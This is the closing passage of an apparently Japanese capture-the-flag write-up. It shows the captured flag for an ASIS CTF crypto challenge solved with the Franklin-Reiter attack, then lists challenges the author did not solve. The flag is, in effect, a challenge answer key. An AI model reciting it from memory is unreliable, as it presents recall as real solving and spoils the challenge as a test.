Woow, you got the flag :) ASIS{gj____Finally_y0u_have_found_This_is_Franklin-Reiter's_attack_CongratZ_ZZzZ!_!!!}

所感

他に解きたかった問題は以下。

  • our weird OS! (Trivia 19)
  • DLP (Crypto 158)
  • Unusable Disk (Forensics 143)
  • R Re Red … (Web/Warm-up 29)
  • Secured Portal (Web/Warm-up 61)
  • Tar Bomb (Web/Misc 129)
  • Random generator (Pwning/Warm-up 95)
  • Defaulter (Pwning 186)

関連リンク